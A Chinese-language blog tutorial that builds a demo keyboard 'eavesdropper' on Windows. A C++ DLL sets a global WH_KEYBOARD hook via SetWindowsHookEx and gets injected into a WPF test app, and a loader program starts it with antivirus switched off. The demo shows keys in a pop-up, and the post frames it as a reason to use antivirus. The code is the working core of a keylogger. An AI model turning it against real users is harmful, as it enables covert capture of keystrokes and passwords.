一:背景
1.講故事
前幾天群里很熱鬧,看了下在爭論兩個問題:
電腦里要不要裝殺毒軟件 ?
應該裝什么殺毒軟件 ?
不管殺毒軟件流氓不流氓,在如今病毒肆虐的當下互聯網,裝一個還是能幫我們攔截很多意想不到的東西,為了眼見為實,這一篇我們就聊一個竊聽 鍵盤事件
的惡意代碼。
2. 思路
實現思路非常簡單,一旦某個程序觸發了鍵盤事件,就給目標程序注入一個 dll,在這個 dll 中來實現竊聽的業務邏輯,簡而言之就是在 OS -> WPF
的消息傳遞鏈路上安裝一個 消息鉤子
。
二:鍵盤竊聽
1. 新建 WPF 程序
要截獲 WPF 的鍵盤事件,首先得新建一個 WpfApp1.exe
程序,放一個文本框,等一會我們要竊聽它,截圖如下:

2. 注入進程的 MyHook.dll
新建一個 C++
的動態鏈接庫項目,取名 MyHook.dll
,這個 dll 是用于動態注入到 WpfApp1
中做竊聽的,參考代碼如下:
#include?"pch.h"#include?"stdio.h"
#include?"windows.h"
#include?<string>using?namespace?std;HINSTANCE?myhookModule?=?NULL;
HHOOK?g_hHook?=?NULL;BOOL?APIENTRY?DllMain(HMODULE?hModule,?DWORD??ul_reason_for_call,?LPVOID?lpReserved)?{switch?(ul_reason_for_call){case?DLL_PROCESS_ATTACH:myhookModule?=?hModule;??break;}return?TRUE;
}LRESULT?CALLBACK?MyKeyboardProc(int?nCode,?WPARAM?wParam,?LPARAM?lParam)?{char?szPath[MAX_PATH]?=?{};if?(nCode?==?0?&&?!(lParam?&?0x80000000))?{//1.?提取程序名GetModuleFileNameA(NULL,?szPath,?MAX_PATH);char*?p?=?strrchr(szPath,?'\\');//2.?監控?WpfApp1.exeif?(!_stricmp(p?+?1,?"WpfApp1.exe"))?{wstring?content?=?L"您的按鍵:"?+?to_wstring(toascii(wParam));MessageBox(NULL,?content.c_str(),?L"友情提示",?1);}}return?CallNextHookEx(g_hHook,?nCode,?wParam,?lParam);
}extern?"C"?{__declspec(dllexport)?void?HookStart()?{g_hHook?=?SetWindowsHookEx(WH_KEYBOARD,?MyKeyboardProc,?myhookModule,?0);}__declspec(dllexport)?void?HookStop()?{if?(g_hHook)?{UnhookWindowsHookEx(g_hHook);g_hHook?=?NULL;}}
}
代碼邏輯很簡單,大概分三塊:
SetWindowsHookEx
在 Win32Api 中提供了一個叫 SetWindowsHookEx
函數用來設置消息鉤子,從方法參數中可以看到,可以指定對某一類消息進行監聽,并且還能觸發相應的回調函數,比如這里的 MyKeyboardProc
,消息類型參考如下:
#define?WH_MIN??????????????(-1)
#define?WH_MSGFILTER????????(-1)
#define?WH_JOURNALRECORD????0
#define?WH_JOURNALPLAYBACK??1
#define?WH_KEYBOARD?????????2
#define?WH_GETMESSAGE???????3
#define?WH_CALLWNDPROC??????4
#define?WH_CBT??????????????5
#define?WH_SYSMSGFILTER?????6
#define?WH_MOUSE????????????7
...
最后通過 C
的方式導出 HookStart
和 HookStop
函數,方便宿主提前啟動。
MyKeyboardProc
這個是具體的回調函數,邏輯很簡單,就是對 WpfApp1.exe
程序的鍵盤事件的觸發提前處理,其他程序觸發的事件我們不需要處理,最后通過 MessageBox
的方式將輸入的鍵值以 ascii 碼的方式打印出來。
DllMain
這個是 DLL 的入口函數,和 exe 的 Main 的作用是一致的,我們在dll被加載的時候,記錄下 module 的實例,方便操作系統將這個 module 注入到其他進程中。
3. MyHook 的宿主 MyHookMain.exe
接下來新建一個名為 MyHookMain.exe
的 C++ 程序,目的就是調用 HookStart
函數,參考如下代碼:
#include?<iostream>
#include?"stdio.h"
#include?"conio.h"
#include?"Windows.h"typedef?void(*MY_HOOKSTART)();int?main()
{HMODULE?hDll?=?LoadLibrary(L"MyHook.dll");MY_HOOKSTART?hookStart?=?(MY_HOOKSTART)GetProcAddress(hDll,?"HookStart");hookStart();printf("hookStart 已成功啟動!");getchar();FreeLibrary(hDll);
}
接下來把程序跑起來,如果正常就啟用了消息掛鉤,截圖如下:

4. 演示
所有工作準備好之后,接下來把殺毒軟件關掉,對,就是殺毒軟件,然后打開 WpfApp1.exe
程序,隨便輸入一個字符,馬上就能看到該字符的 ascii 碼,截圖如下:

既然有彈框,肯定是走了 MyKeyboardProc
邏輯,那怎么驗證呢?可以用 Process Explorer
工具看一下 WpfApp1.exe
中有沒有注入 MyHook.dll
就可以了。

太棒了,真的注入進去了,如果你開啟殺毒軟件,或者某些衛士,你會發現 SetWindowsHookEx
函數不起作用了, MyHook.dll
也不會注入到進程中。
三:總結
這個例子很好的告訴了我們,惡意程序無處不在,防不勝防,如果你的系統真的放在裸機下跑,總會有中招的時候,所以殺毒該裝的還得裝。